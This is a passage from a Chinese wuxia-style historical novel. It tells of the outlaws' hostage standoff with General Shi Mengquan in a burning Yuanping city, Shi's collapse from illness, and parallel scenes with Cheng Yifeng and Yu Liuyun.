石梦泉的那队人马转瞬就到了跟前,东、西两面的樾军也逼了上来。杀鹿帮众人已无去路,后面又有赵酋一行的追兵——全凭邱震霆一人砍杀抵御。虽然邱震霆踏着一路尸首就快冲到火药库前了,可没被他砍倒的士兵也渐渐撵上了杀鹿帮的人。更兼他们看到了长久不见的将军——石梦泉凛然坐于马上,铠甲映着火光闪闪发亮,使他的面容也显得红润。往日的坚毅果敢分毫不改,竟不像是有病在身的样子。樾军士兵不由得大受鼓舞,纷纷嚷道:“抓住这伙楚人奸细!”脚步愈快,当先的已后杀鹿帮的人交上了手。 管不着盯着石梦泉,而后者并不发话。只旁边一个亲随的道:“大胆楚奸,你们已经无路可走了。还不快快投降?” 大嘴四把脖子一梗:“投你妈个头!你们赵王爷家的郡主臭丫头在此,要是不放爷爷们过去,爷爷就跟她同归于尽!” 石梦泉的面色变了变,细看大嘴四背上的人,虽然脸冲下不可见,但身量跟愉郡主没两样——如果只是要施以威胁,没有道理特特编派出愉郡主的,而且楚人也不应该知道愉郡主,莫非当真?他再看后面,另一人身上背负的,俨然是娇荇。这便九成假不了了。可一切从何而起? 他望了望旁边的亲随,只因先前城楼放箭格杀一事岑远并未详加报告,那人也不清楚。石梦泉不由锁紧了眉头:虽然玉旒云说不要理会愉郡主,不要怕和赵王结怨,但总不能见死不救!他略一权衡,便将缰绳一拽,拨转马头,给杀鹿帮一行让开了路。亲随正是诧异,但一看石梦泉命令的眼神,也不能再问,自向边上闪开。 大嘴四没想到这么容易就吓住了对手,生恐有诈,就叫管不着带着其他人先走,自己背着人质断后。管不着也理会得这不是谦让的时候,就率先朝南冲去,后面一众弟兄,脚步如飞。 大嘴四直看到最后一人走出了樾人的圈子,才迈步前行。然而,堪堪走过石梦泉身边时,只觉肩上忽然一轻,骇异时,愉郡主早已被拉走——石梦泉斜挂在马上,一手抓缰绳,另一手救人,既快又准,动作一气呵成,根本不给人防范或还手的余地。 “你——”大嘴四只发出这一声惊诧,跟着就露 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不过他发誓归发誓,心里已隐隐感觉自己今天大概命绝于此,生命还有许多遗憾之事,免不了一一涌上心头——其一就当初自己跟猴老三一同追求辣仙姑的事。如今这夫妻俩被邱震霆派去留守,万一这边事情有变,他们还算“留得青山在”。唉,好在辣仙姑没有嫁给我,否则今天她就得变寡妇了! 想到这里的时候,樾军已经从边上的巷子包抄上来了——他们进城时所见黑灯瞎火的房舍大概其实都有樾兵埋伏着,否则何能像这般从地下冒出来似的,顷刻就挡住了他们的去路? 好吧,大嘴四想,今天就豁出去啦!他飞起一脚朝近前的一个士兵踹去,趁那人侧身避让,抽出他腰间的刀来,“喀嚓”砍下了他的脑袋。 杀鹿帮的其他人也跟他们的四当家一样,抱了必死之心,纷纷站住了脚步,和樾军搏斗。樾军虽然单打独斗算不得好把势,可倚仗人多,十来个人为一圈,同杀鹿帮的好汉进行车轮战。饶是管不着身手了得,也只有招架之力,并无还手之功。眼见着众人便有落败之势。偏这时,听得空中一声轻啸,有人喝道:“樾贼都给老娘住手!”是辣仙姑到了。 交手的双方都一愣,看辣仙姑立身在一屋脊之上,左手一根绳,牵着娇荇,右手一根绳子拽着愉郡主。大家正犯嘀咕:不要又是稻草人。便听娇荇大声叫道:“石将军!郡主在这里!快来救我们!”而旁边的愉郡主,本来满面惊惶,但看到石梦泉安然无恙地跨在马上,心里不由一喜,竟落下泪来。 石梦泉可不知道这刁蛮郡主因何而哭,眼下的情形,敌人手握人质,不可强取,他只有命士兵收起兵器,又向辣仙姑抱拳道:“这位女侠……” 才说了这几个字,旁边的亲随就轻声提醒他:“将军……”进而驱马走前几步,朗声道:“兀那妇人,挟持皇亲国戚是抄家灭族的大罪。你现在速速放了郡主,石将军或许网开一面,饶你不死。” 辣仙姑在房上笑得花枝乱颤:“你究竟是在说话还在放屁?现在是在我们楚国的地盘上,你们樾国的郡主算咱们楚国哪门子的皇亲国戚?你们樾国的律法在这儿又顶屁用?我现在抓着她,你们还敢这样咋咋呼呼地跟我说话,要是我放了这丫头,恐怕我早就连骨头都不剩了——你当我傻的么?” 她一番话说得媚态横生,但也字字句句戳在人的心上。那亲随被顶得一怔一怔的,把眼望望石梦泉。后者阴沉着脸,大约也没有什么良策。 辣仙姑止住了笑:“老娘没功夫跟你们磨嘴皮子。这两个丫头对老娘没什么用处,留着也就是浪费粮食。只要石将军放了我杀鹿帮的弟兄,再率你的人马——包括那驻扎在山下的——回到北方去,老娘自然把这两个丫头活蹦乱跳地还给你。你意下如何?” 石梦泉不答,似乎在考虑。 “将军,不能答应她!”岑远从火药库的混乱中脱身出来,满面尘灰烟火,显得十分狼狈。他一径冲到了石梦泉的马前:“将军,这些人乃是土匪出身,得寸进尺,出尔反尔,跟他们没有什么信义可言——房上女子听着,我樾军之中多的是神射手,识相的就快快放下郡主,否则你立刻乱箭穿心而死!” 辣仙姑冷冷一笑:“乱箭穿心——嘿,倒看看是你的箭快,还是老娘拧断两个丫头的脖子快。” 娇荇也认出了岑远,大叫道:“你是什么人?石将军没发话呢,你胡说八道些什么?上次就叫人放箭射我,不知你安的什么心——石将军,快救郡主。她千里迢迢赶来,就是为了见你一面,你别让她的心意白费!” “娇荇!”愉郡主红着脸嗔了一句,但是想到自己身在危急之中,或许就命丧于此,也就顾不得女儿家的矜持了——倘在临死至少明白地说出自己的心思吧?至少也知道人家是怎么想的吧?她远远地望着石梦泉,可光影扰攘,并看不确切。只是,马上岿然不动的矫健身影让她心里顷刻又平静下来:有他在,她是不会死的。他不会让她死的。 这样痴痴想着,竟不知不觉笑了起来。 石梦泉没心情计较小女儿的心事,想起先前岑远的确报告过“楚人奸诈,假称俘获我方中人,企图混进城来”,但被他下令就地格杀,莫非当日所俘之人就是……他盯着岑远:“你……下令放箭射愉郡主?” 岑远额上沁出冷汗:“卑职……并不认识郡主和她的使女……当时是这位使女……卑职实在……实在是……” “算了!”石梦泉微一摇头,这不是怪罪谁的时候,“火药库那边究竟如何了?” “禀将军,”赵酋上前答道,“贼首不自量力,孤身闯入我军阵中,不时即可制服。此人若为我所获,群贼可不攻自破。将军万不可被妖妇蒙骗。” 石梦泉皱起眉头:怎可以如此自信?他岂不知一步错可满盘皆输么? 才想着,只听“轰”地一声巨响,连地面都震动了起来,空气仿佛化为千百只无形的巨手,将人狠狠地推开,士兵没的直打趔趄,而战马都惊了,悲嘶连连并狂跳不止。“怎么了?”他们都互相问道。 石梦泉跨在马上因而看得清楚——火药库那边烈焰熊熊,浓烟冲天,漆黑的夜空已被照得亮如白昼,而那火舌还朝四面八方迅速地蔓延,许多在火药库跟前与杀鹿帮人纠缠的士兵因怀抱火药、火油,此时纷纷遭殃——那抱火药的自然被炸得血肉横飞,而拿火油的则浑身起火,满地打滚,惨叫之声不绝于耳。 如此动静,恐怕十几里地外也能看到,远平城易主的事终究是瞒不下去了。然这些且不论,附近还有粮仓,还有兵营……城内还有另一座火药库…… “还不快带人去救火!”他急急命令,“莫非是要等全军将士被活活烧死么?” “是。”赵酋得令就走。而岑远还问:“那这里的贼人……” “你先去救火!”石梦泉沉声命令,“这里自有我。” 辣仙姑在房上看时局刹那扭转,正是欣喜,但也不得不佩服石梦泉在这情形下还能保持镇定。这不过是樾军主帅的一个爪牙而已,她想,玉旒云不知是怎样一个人物?听说还是个女人? “他奶奶的!看你们这帮龟孙子还能怎的!”邱震霆一边骂骂咧咧,一边提着大刀一路砍杀着奔了过来,几个匆忙赶去救火的士兵立刻丧命当场。到得跟前,他又“哗哗”斩了数刀,把管不着和大嘴四身边的包围打开一个缺口:“他奶奶的,咱兄弟来去自由,谁敢挡咱的路,谁就上黄泉路!” 管不着和大嘴四不禁大喜,也拼杀愈勇。转瞬,杀鹿帮原本被分散包围的各位好汉就重新集合在一起,挺着兵器,一致对着圈外的樾兵。 不过,樾军依然数倍于他们,要想彻底杀出去仍非易事。 辣仙姑瞅准时机,攻心为上,笑了笑,道:“石将军,若是再不灭火恐怕咱们都活不成。我们虽然是草寇,但最重江湖义气,谁同咱们讲信义,咱们也就同谁讲信义。若将军保我等毫发无伤地走出这里,我等自然也将郡主毫发无伤地交还给将军——至于将军事后是否撤军,我等明白军令如山,自然不会强逼于你。不过那时大火熄灭,咱们双方又可以各为其主交锋较量,斗智斗勇,谁胜谁负都可以心服口服,总强过莫名其妙葬身火海——将军以为如何呢?” 她这是对先前提出的条件做出了重大的让步。石梦泉略想了想,朝身边的亲随点了点头。那亲随先是一愕,但看情形也无他摆布,只好上前朝辣仙姑喊话道:“好,算你狠。将军网开一面,你们快快滚出城去吧!” 辣仙姑也无暇计较他言语粗鲁,看地上的包围圈渐渐散开了,杀鹿帮的众好汉小心翼翼边走边密切注意着周遭的动静,一步,两步,一丈,两丈,终于走出了樾军的包围。 这时,石梦泉就悄悄地用低得几乎听不到的声音对旁边的亲随道:“你叫人从后面的街道绕过去,待这帮人走到城门口,再把他们包围起来。” 知道将军没这么容易被人要挟,亲随大喜,点头答应。欲去,石梦泉又唤住,悄声吩咐:“你的箭法不错吧,趁着女贼不备,你给我一箭把她射下来。” “可是郡主……” “我让你射女贼。”石梦泉道,“怎么?若是没把握,还是我来……”他说着,向鞍侧拿弓。 “不,将军。”亲随制止他,“您……卑职一定把女贼射下来。”说罢,调转马头,闪入黑暗的僻巷里。 不过与此同时,石梦泉也拿起了弓箭。他试着拉了拉,这动作立刻就引起了辣仙姑的注意。她警惕地朝后退了几步,但很快就发现石梦泉根本就没法将弓拉满。 莫非这人中了毒烟又喝了泻药,虽未病死但也元气大伤,只是出来装模作样?她心里嘀咕:是了,方才他一直也不敢同我喊话,事事都由亲随代劳,可见他并没有力气,无非是来坐镇而已。 而偏此时,只听身后“嗖”地一声。她心中一骇,赶忙就地滚开,但觉一阵劲风从头顶刮过,她人也险些被带得摔出去——羽箭射中了她的发髻,她若闪得稍慢一些,现在哪里还有命在? 原来石梦泉比她想象的阴险!心中不禁暗骂一句:反正你不仁,我也不义! 从怀里摸出一枚小小的雷火弹来,一掷,立刻有一道绿光窜天而起。 石梦泉知道一击失手,这妇人必有后着,本欲立刻唤士兵将她就地格杀。但不想辣仙姑将娇荇和愉郡主两个一前一后拉在自己身侧,就像两块人肉盾牌,樾兵无一人敢轻举妄动。 而这时候,又听得城门口一阵骚动——还以为是樾兵重又围上杀鹿帮众人了,不想是一大群豺狼野狗好像被厉鬼追赶一般没命地朝里冲。不用说,这是猴老三的杰作。虽说利用野兽来对敌已经是他的老招了,可屡试不爽,何况这回将梅花鹿换成了猛兽,威力自然非比寻常。 樾兵们一时竟不知如何应对,手忙脚乱。而邱震霆就带着弟兄夺路而去。 远平的东北角已经化为一片火海。辣仙姑落脚的那间房子也就快被殃及。她将愉郡主就娇荇紧紧拉在身边,得意地喝了声:“石将军,今日就斗到这儿,你先灭了火,咱们来日方长,慢慢比过。我去也——”话音落下时,已经起起落落跃到了几丈开外的另一座房上。 可说时迟那时快,只见石梦泉从身后拔下长枪,怒喝一声:“贼妇休走!” 辣仙姑一惊:病得拉不动弓的人,怎么此一声喝这般中气十足? 忍不住回头望了一眼,不禁心里凉了半截——石梦泉将枪尖儿在地上一戳,整个人便从马上凌空跃起,眨眼间已经逼到了自己的近前。她还未来得及倒吸一口凉气,寒光闪闪的枪尖已点到了她的咽喉上。 她赶忙仰身让开。那长枪平贴着她的脸刺了过去。却不给她起身的机会,石梦泉手腕一抖,枪身立刻似铁鞭一样狠狠地砸在了辣仙姑的胸腹之上。辣仙姑只觉天旋地转,自己的脊梁似乎断成了千万段——使枪使成这样,腰力非凡,决不是重病在身的人! 莫非他是装的?这狡猾的家伙! 不过再醒悟什么也已太迟了,她喉咙一阵腥甜,眼前发黑,就瘫倒下去。石梦泉便伸手夺过捆住愉郡主和娇荇的两跟绳头,又把长枪在房上一顶,借力跃回马上。底下士兵纷纷叫好,更奋力斩杀豺狼野狗。 本来动物被驱逐而来,就是为了乱敌人的阵脚,替己方争取时间,真要作战却不能够。豺狼野狗被樾军一通猛砍,死伤过半,没多时,剩下的也都逃窜而去。樾军将士追到城门口,杀鹿帮的人早已没了踪影——其时大火已点着了半座远平城,众人便不能花力气追赶穷寇,急忙加入救火的行列。 愉郡主看着奔走的人群,一条条影子和着窜动的火苗,花了她的眼——她不是在做梦吧?真的是石梦泉救了她?她瞧见娇荇,已经有人上前给这使女松了绑,自己呢?哎呀,竟还在石梦泉的马上! 不由羞得两颊通红,心里有什么话都再说不出口——不知怎么,到了他的面前,她就只想做刁蛮的姑娘,只想为难他,喜欢如此。 “你……那个谁……还不放本郡主下来?你刚才是不是偷偷叫人向上放箭?想谋害本郡主吗?” 石梦泉就好像没有听见,两眼怔怔地盯着火场,并不理会。 愉郡主既窘又恼,乱扭着身子:“石梦泉你这坏人,跟玉旒云合伙欺负我!你知不知道我听说你死了,好……那个……你居然没死,还不早点儿来救我。你这是安的什么心?” 石梦泉依然不答。 娇荇已经回复了自由,动了动酸麻的手脚,上前来替主子解开绳索。她边做事边笑,心想愉郡主刀子嘴豆腐心,历经千难万险终于到了石梦泉的身边,竟然一句温柔的话也没有,还是又吵又闹的,这可如何能得到人家的心?想她娇荇要是有朝一日有了心上人……哎呀,想到这里,自己的脸也红了起来。 “喂,那个谁——你扶我下去呀!”愉郡主可没骑过这样的高头大马,不敢自个儿往下跳。她叫石梦泉,半是骄矜,半是撒娇,然而石梦泉还是好像当她这个人不存在似的,只出神地望着火场。 愉郡主这次面子可下不来了,抬起拳头就朝石梦泉胸口砸去——本来也没用上七分力气,却谁料一拳下去,石梦泉就像是木偶似的,“咕咚”便栽下了马。 16. 第 16 章 看到石梦泉摔下马,愉郡主不禁“呀”地尖叫,顾不得自己害怕,也跟着跳下马去:“喂!喂!”她拍着石梦泉的脸,才发现什么面色红润,手一擦就掉颜色,再一试额头,烙铁一般地烫,“原来你是真病——” 亲随已经赶上前来,扶起石梦泉。他厌恶地瞪了愉郡主一眼:“不是真病,难道还装着从马上摔下来?咱们当兵的不比郡主,什么都好拿来玩!” 若换在过去,愉郡主被这样顶撞,早就发火了。但此时只担心石梦泉的生死,略撅了撅嘴,就算了,道:“好嘛,好嘛。我不玩了。那个谁……他救了我,我……我给他端茶送药,总行了吧?” 亲随才不把她的话当真,况且谁又敢真支使郡主做事?自招呼了几个士兵,七手八脚地把石梦泉抬到大火暂时不会波及的一处房舍中,又找了医官前来。 那医官翻翻眼皮又把把脉,直是摇头,士兵都急得不行,愉郡主更立刻带上了哭腔:“你治好他。治不好,我叫父王杀你的头!” 医官不识得郡主,瞥了她一眼。 士兵俱想,若不是半中途杀出这个任性的郡主来,将军早就挫败楚人的阴谋——他现在病情加重,都是因为勉力和辣仙姑交手,搭救郡主的缘故,是以,大家都对愉郡主没有好脸色,有人喝道:“将军在休息,你小声点!” 愉郡主一愕,赶忙捂住自己的嘴巴,可转身对着娇荇又忍不住哭了起来:“怎么办哪?要是他死了,我怎么办?我可活不下去了。” 娇荇亦红了眼圈,还只能安慰:“石将军吉人天相,一定不会有事的。郡主放心。” 愉郡主的一颗心早就飞到石梦泉身上了,还往哪里放?她紧紧地盯着医官,看他施针开药。士兵们自然不让愉郡主动手煎药,也不叫她喂药,她便只能一直看着,也不坐,也不靠,动都不动,仿佛化做了心上人床前的一樽石像。 不要死,不要死呀!她心里默默地祷告,只要你不死,我做什么都愿意。我以后再也不给你找麻烦了! 如此,过了后半夜。 城中火势虽猛,但好在南方水源充足,虽然河水被辣仙姑下了毒,但用来救火却是无妨,大家齐心合力,连扑带打,到了黎明时分,似乎连老天也要帮他们,竟淅淅沥沥落下雨老,大火就终于完全熄灭。青白的天光照亮大地,远平城里到处的焦碳,青烟从废墟里升起。 石梦泉觉得胸口堵得慌,猛一阵咳嗽,就醒了过来。士兵们都围在床前。“将军!”“将军!”他们的语气中满是欣喜。 愉郡主被排除在圈外,她试着挪动脚步,但腿脚已完全没知觉了,只好傻傻地看着石梦泉笑,而眼泪也同时流了下来。 石梦泉自然先问火势,众人回说已经熄了。他又问城外局面,有否敌人乘机来犯,众人答,一切安然无恙。石梦泉这才艰难地点了点头:“你们也都累了,怎么不去休息?” 士兵们道:“不累,就坐在您床跟前,累什么?” 又有道:“将军,那个土匪帮里的贼妇人没死,已经叫咱们关了起来。原来几次下毒的事都是她干的。咱们恨不得把她千刀万剐来报仇。” 那个女人……还有她同伙的一群人,石梦泉想着自己南渡以来的种种,他们竟然以少敌多,奇谋不断,程亦风想到用这些人,不可不谓高明。 “不要为难她。”他说道,“让医官看着,留着她的性命,也许从她嘴里还能问出些什么来。” “是。”士兵们答。 这时,又听见门外有人唤了声“将军”,既而大步流星地奔了进来,竟是罗满。众人都不禁一愣:“罗副将?” 罗满后面跟着赵酋,笑道:“咱们当灭了火,听到城外有骚乱之声,依稀有几千人马。起先还以为是楚人来了援军,都想,这次可命绝于此,但那队人马到了跟前,却原来是罗副将。” 罗满到石梦泉床前,倒身行礼:“将军,卑职来迟了。” “你……什么来迟?”石梦泉阴沉着脸,“让你埋伏在山下,怎么上来了?” 罗满也晓得自己擅离职守,不过,任谁看到那样的火光,也会放心不下的。可他也不争辩,顿首道:“卑职错了,立刻就下山去……”说时,当真转身就走。但和门口一个小校迎头撞上。 “出了什么事么?”见那小校跑得上气不接下气,罗满问。 “信,刘将军和吕将军写给玉将军的信。”小校道,“因为玉将军已经离开了锁月,怕有急事,所以先拿过来给石将军过目。” “哦?”石梦泉让拿过来,展开一看,不禁心底冰凉:刘子飞和吕异拒绝增援,他们说他们根本不信一个连石坪都能丢掉的将领有办法飞跃飞龙峡夺取远平城。“尔视军国大事如儿戏,吾等岂可与尔同流合污?劝尔速速收复石坪,吾等还好在万岁面前替尔求情。攻打远平夺取凉城之戏言不可再提!” 这……这不就意味着玉旈云计划的彻底……失败? 眼前陡然黑了一下。玉旈云对着次南征抱了多大的希望!十五年的煎熬眼看着就可以结束,如今……他不敢想象玉旈云知道这个消息会怎样的失望。更无法想象如今这样的结局,回到了西京玉旈云会面对怎样指责——能有什么办法挽救么?他强迫自己思考——带着不到一万多的疲惫之师,困在四处是敌人的深山,守着一座已被烧毁了一半的城池……楚军或许已经看到了火光,又或者邱震霆一行已经通知了程亦风,楚人到来应该就在近几天内,到时,楚人从南面攻城必然就像当初他们从那里进攻一样,轻而易举就可取下。甚至,楚人未经长途跋涉,以逸待劳,又熟悉地形,可以出其不意,这天时、地利、人和,都被占尽,樾军凭什么自保?无论取胜! 怎么办? 罗满怔怔地看着他。两人共事的时间并不长,而且罗满的年纪稍长,从前总以为石梦泉是玉旒云身边的马屁精,所以才年纪轻轻就做到御前侍卫,又外放出来带兵。真正共事之后,才发现他原来真是个果断又稳重的将才,行军打仗的本事不在玉旒云之下。更难得的是,他脾气随和,平易近人,是以士卒同他比同玉旒云更亲近。在南方七郡收拾了贪官康申亭后,罗满对这位年轻的将军愈加佩服。然而今时今日,见他神色憔悴,满面忧虑,自己也免不了跟着忧虑起来——战士,大不了一死,只不过,死了若不能取得胜利,死得就完全不值,哪怕生命再宝贵。 “卑职以为,必须如实向玉将军禀报。”罗满道,“没有刘将军和吕将军的支援,远平城等于鸡肋。现在应该撤出我军主力,否则后果不堪设想。” “不行!不能撤军!”岑远道,“现在撤军,岂不是前功尽废?再说,我们就和楚军打一仗,也不见得没有胜算。石将军,我愿意打头阵!”说时,在石梦泉床前单膝跪下,一副要领命出兵的样子。 石梦泉何尝不知道远平是鸡肋,又何尝不清楚和楚人硬拼只会造成无谓的牺牲。然而即使鸡肋也要发挥其最大价值,这样到了西京才好向满朝文武有个交代啊!他沉默地思考,而长久的思考使他觉得头晕眼花。愉郡主穿过人丛望去,见他脸色越来越差,心疼不已,使劲挤开众人来到他的床前:“你……你还是休息吧……” 石梦泉摇摇头,抬手让岑远起来,又对那来送信的小校道:“你立刻回锁月,让他们追上玉将军把这封信交给她……另外……”怕玉旈云倔脾气上来会硬拼,他又补充:“我也会写一封信给玉将军……” “那是真的要撤军么?”岑远急了,“不能撤!” “喂,你——”愉郡主瞪着他,“死奴才,什么时候轮到你说话了?你狐假虎威乱发命令,想害死本郡主,本郡主还没跟你算帐呢!” 岑远不甘示弱:“这里是军营重地,不是王府,郡主怎么能随便插嘴?” “你——”愉郡主气得跳了起来。 “郡主——”石梦泉低声劝阻——周围的人太多,交谈声嗡嗡,让他头疼欲裂:“娇荇姑娘,麻烦你带郡主去休息,我们议论战事,不便耽搁她在此处……” “这……”娇荇知道主子的倔脾气上来,可是谁也劝不住,看架势,愉郡主是要好好跟岑远干一架呢,怎肯乖乖离开去“休息”? 没想到,愉郡主只略撇了撇嘴,连一句使性子的话也没讲,就转身出去了。娇荇赶忙小跑着跟上:“主子,哎哟我的好祖宗,别上那边儿去,那边都烧成灰了,说不定还有死人呢呢……主子……” 无论她怎么喊,愉郡主走得飞快,全然不理。娇荇只好加快步子,跑得岔气了,才追上:“主子,我的乖乖好祖宗,你又打什么主意?这次撞土匪还不长教训么?就算是为了石将军,你看他病成那样——你可不能再给他添麻烦啦!” 愉郡主被她拉住了,只好停下来:“谁说我要给他添麻烦呀?我就是看他病成这样,想要帮他。” 那还不是一样!娇荇晓得主子除了闯祸没有别的能耐,但嘴里不能说,只问:“怎么帮?” 愉郡主望着废墟和忙碌的疲惫的士兵。“我要叫玉旒云换个人来这破地方。”她道,“要她把石梦泉调回去休养。” 远平城惊心动魄的一夜自然没有那么快报告到程亦风那里,可是公孙天成老先生仿佛有“掐指一算”的本领,已经拈着胡须道:“我看时机就快成熟了。” 程亦风一愣:“先生说什么?莫非是杀鹿帮的英雄们有了消息?” “倒还没有。”公孙天成摇头,“我只是算算时间,应该快到了,只等着消息来。” 程亦风不解:“先生让杀鹿帮的英雄们去把樾军搅个不的安身,到底要搅成什么样子才算时机成熟?晚生实在担心得紧。” 公孙天成笑了笑:“土匪进了凉城烧杀劫掠,凉城府尹岂有不管的道理?京城的护军又岂是白领军饷的酒囊饭袋?一旦全城搜捕,缉逮下狱,杀头流徙,土匪会如何呢?” 这样绕着弯子打比方,程亦风皱了眉头,过了片刻才反应过来:“先生的意思,是樾军对付杀鹿帮,两下里起了冲突,樾军人多势众,终占上风,杀鹿帮就会伤亡惨重,四散逃窜?先生是在等他们来求救么?” 公孙天成拈须而笑:“不错,老朽正等他们来求救。以邱震霆帮主的脾气,不到用尽一切法子,他是不会认输的。而等他用尽一切法子的时候,樾军也该被他折腾得差不多了。” “可是——”程亦风不能认同,“这不是把杀鹿帮的好汉们往死里推么?” “大人怎么能这样想呢?打仗哪儿能没有伤亡?是杀鹿帮和玉旈云去周旋伤亡小,还是我军和玉旈云正面交锋的伤亡小?”公孙天成道,“不过大人也不必太担心,邱震霆虽然好胜,但最顾念兄弟情义,他怎么忍心看到自己的弟兄去送死?他手下的二当家、三当家、四当家、五当家和其他好汉都是足智多谋且身怀绝技的侠士,怎会那么容易就让樾人残害?究竟到怎样的地步来向咱们求救,老朽心里估了一个数,邱大侠心里也打着算盘,两边的帐对上对不上,差别就是樾人伤亡的多少,咱们派军的人数和时间——杀鹿帮好汉们的生死,不是你我可以控制的。” 句句都在理,可程亦风心中依然难以平静:“此时邱帮主还未有消息给先生,会不会……” “何必杞人忧天?”公孙天成道,“大人既遭遇过玉旒云的军队,也和邱帮主以及众位好汉交过手。依大人所见,杀鹿帮是这么容易就会被樾寇消灭的么?” “自然不是。”程亦风道,“但沙场之上,怎能随便估计?且不说杀鹿帮一百多条人命,一百多颗忠心,就说远平城,若然落在樾寇之手,则相当于我楚国门户大开,樾人可长驱直入……” “樾人长驱直入了么?”公孙天成打断他,“若杀鹿帮已然覆灭,樾人扫清障碍占领远平,为何迟迟不见动静?或许大人会说,玉旒云想先收复石坪,若是那样,为什么石坪被我军占领了这么久,竟连一队樾军援兵也没见过?” “这……”程亦风自然不晓得岑远违抗军命的事,答不上来。 “所以依老朽看,玉旈云还在远平城和杀鹿帮纠缠呢。”公孙天成见程亦风还是一副忧愁苦闷的样子,笑了笑,“大人今天还没有去巡防吧?若不去,司马将军又要来和你闹了。” 程亦风叹口气:可不!却不知道一会儿司马非又向自己软磨硬泡地套问作战计划要怎么回答。 然而还是只能硬着头皮到城楼上来找司马非。不过到的时候却不见司马非的踪影,只有小莫一人正在城垛上逗弄一只大鸟。程亦风先以为是贪嘴的江鸥之流,走到近处才发现是一只青鹞,不禁“啊”地叫了一声。 青鹞受惊,扑剌剌振翅飞走,小莫回过身来:“咦,大人怎么这时才来?司马将军等不及,已经自己巡防去了呢!” “哦,什么。”程亦风反而松了口气,指着天空中早已成为一个小黑点儿的青鹞问小莫道:“鹞子凶狠,你竟然不怕?” 小莫一怔:“鹞子?那鸟叫做鹞子吗?” 程亦风点点头,想:是了,青鹞本为北方猛禽,小莫这孩子生长在南方,也难怪不认识。“这鸟凶得狠,蛮人用来打猎的。”他道,“你要不小心,说不定连你的眼珠也啄出来。” “乖乖!”小莫吓得直抚胸口,“我方才抓住一只耗子,正打算拿去喂狗,这鸟儿就飞下来抢耗子,我还觉得好玩,想逗逗它呢!幸亏大人把它吓跑。不然我的眼珠子也不在了。” “也没有那么严重。”程亦风笑道,“其实老鹰和鹞子都是白鸟中最清高的,不愿与别同流合污的,古有诗云:‘男儿欲作健,结伴不须多。鹞子经天飞,群雀两向波。’多少豪情壮志,又多少孤寂悲哀?唉!” 兴兵北伐以来程亦风长吁短叹依旧,但诗词歌赋少了许多。小莫骤然听他念起诗来,不由“噗哧”一笑:“程大人倒有好一阵子没‘之乎者也’‘平平仄仄’了。突然有了雅兴,是心情很好呢,还是很不好?” 程亦风苦笑了一下:“你看我有什么理由心情好?” 小莫道:“咦,大人一来到平崖就已经打了个大胜仗,岂不是一件大好事?” “那胜仗是公孙先生计划的,是崔女侠打的。”程亦风道,“跟我有什么关系?” 小莫偏着头:“听大人这样说,好像打了胜仗却不好时的——公孙先生是你的谋士,崔女侠怎么也得算是你的部下,他们打的胜仗不就是大人你打的胜仗吗?” 程亦风唯有苦笑:“这也算是一种说法。”想了想,又道:“小莫,你说,是不是只要能胜利,用什么手段都无所谓呢?” 小莫不太明白:“大人怎么突然跟小的说起这么难懂的问题来了?”他抓着脑袋:“啊……是不是大人觉得万事都由公孙大人做主,您这兵部尚书成了傀儡摆设,心里很不痛快呢?” 程亦风怔了怔:“论到运筹帷幄,我不及公孙先生分毫,若不是他不愿出仕,做在这兵部尚书位置上的应该是他才对。” 小莫点点头:“公孙先生的确赛过活神仙。他不是早就猜到玉旈云在别处还有阴谋了么?而且他说他已经布置好了一切,玉旈云决不能得逞。” 就是这个计划让程亦风心理不舒服。像有一块大石头压着,不吐不快。“公孙先生说玉旈云人在远平城。”他道,“而且……”当下就把公孙天成派杀鹿帮阻击玉旈云的事告诉了小莫。 小莫惊得瞪圆了眼睛:“公孙先生怎么能确定玉旈云在远平?玉旈云难道会飞么?如果她能飞,岂不是成了神仙?杀鹿帮的土匪……好汉们虽然厉害,又怎么是神仙的对手?” 程亦风本来就不应该随便向人透露远平城的计划,只因他觉得小莫是个单纯的孩子,绝对不可能是奸细,所以才以之为倾吐的对象。他没打算小莫给自己出谋划策,自然也就无需向着孩子解释太多。但是小莫的担心和自己的忧虑共鸣了起来:远平城究竟怎么样了?杀鹿帮的帮众们是否身陷险境?或者……玉旈云究竟有没有去远平呢?不是不信任公孙天成,但是这样什么都插不上手,实在太让人心焦。 他忽然抓住了小莫:“你帮我找一个传令兵来,要悄悄的,别让公孙先生知道。我要打探一下远平的动静!” 程亦风的传令兵在河这边由西向东直奔远平,而河那一边,玉旈云正由东向西赶赴石坪。 她本来打算在锁月等待刘子飞和吕异的回复,如果这两人答应出兵支援远平,则她回师石坪可无后顾之忧。可是,先还接到了一封模棱两可的信,后来就迟迟也没有消息。 她分析,这两人精于算计,只要嗅到南征有一丝失败的可能,他们都不会来冒险。此刻,落入楚军之手石坪城大概就是刘、吕二人继续观望的理由。 反正石坪也不能再拖了。她终于带兵出发。 日夜兼程,打算三天之内赶到石坪,以迅雷不及掩耳之势把崔抱月碎尸万段,岂料,方出榆东郡入榆西郡,发觉道路坑洼积水,寸步难行,只得吩咐扎营休息,又使人招所在青窑县县令来问话。 那县令是第一次见玉旒云。传闻早听得多了,知道去皇上跟前的第一红人,心眼儿小,脾气坏,手握生杀大权。进门时,自然已两腿发软,先矮了半截。看玉旒云阴沉着脸坐在上首,明灭的烛光跳动着,使她脸上的影子千变万化,这就更加心虚了,倒身跪拜就再也起不来:“卑……卑职……错了,该死……该死!玉公爷……玉大将军……饶命!” 玉旒云本来也没发火,不过是累了不想同人寒暄。听这县令蚊子哼哼似的说话,模样又像个糊涂官,这才动了怒,喝道:“我几时说要你的命?走近点!大声答话。” “是,是,是。”那县令答应着,却不起身,手脚并用爬上几步,“不知玉公爷……玉大将军深夜招卑职前来有何……教训?” “我来问你,”玉旒云道,“官道要地,如何崎岖至斯?” 县令眼珠子骨碌碌转,想了片刻,碰头道:“玉公爷……玉将军息怒,这是卑职的错……都是卑职管教无方。只怨那户部侍郎顾长风……”原来,顾长风跟石梦泉来到南方七郡治蝗,分析榆东和榆西距离大青河近,水利又较发达,就采用在冬季水淹田地杀灭蝗虫卵的办法想要根治虫害。青窑刚刚完成淹水的过程,正往外排水,但因为水渠堵塞,河水就淹没了官道。县令听说玉旒云和顾长风不和,巴不得罢了此人的官,就赶紧甩他出来做挡箭牌。 玉旒云果然皱了皱眉头,但旋即喝道:“呔,你这小小的七品县令怎么出口污蔑朝廷命官?就算顾长风引水灌田是不对,怎么本将军从榆东郡一路行来,从未见过水淹官道的事?一县的水利工程难道不是你的职责所在?如今水渠堵塞,耽误本将军行军,你还满口胡言——还不给我——”本来满腹恼火,想要“拖出去砍了”,然而,毕竟不掌尚方宝剑,亦不能随便摘人的乌纱帽,只得转口对身边的书记官道:“写封信上奏皇上,把这县令给办了。” 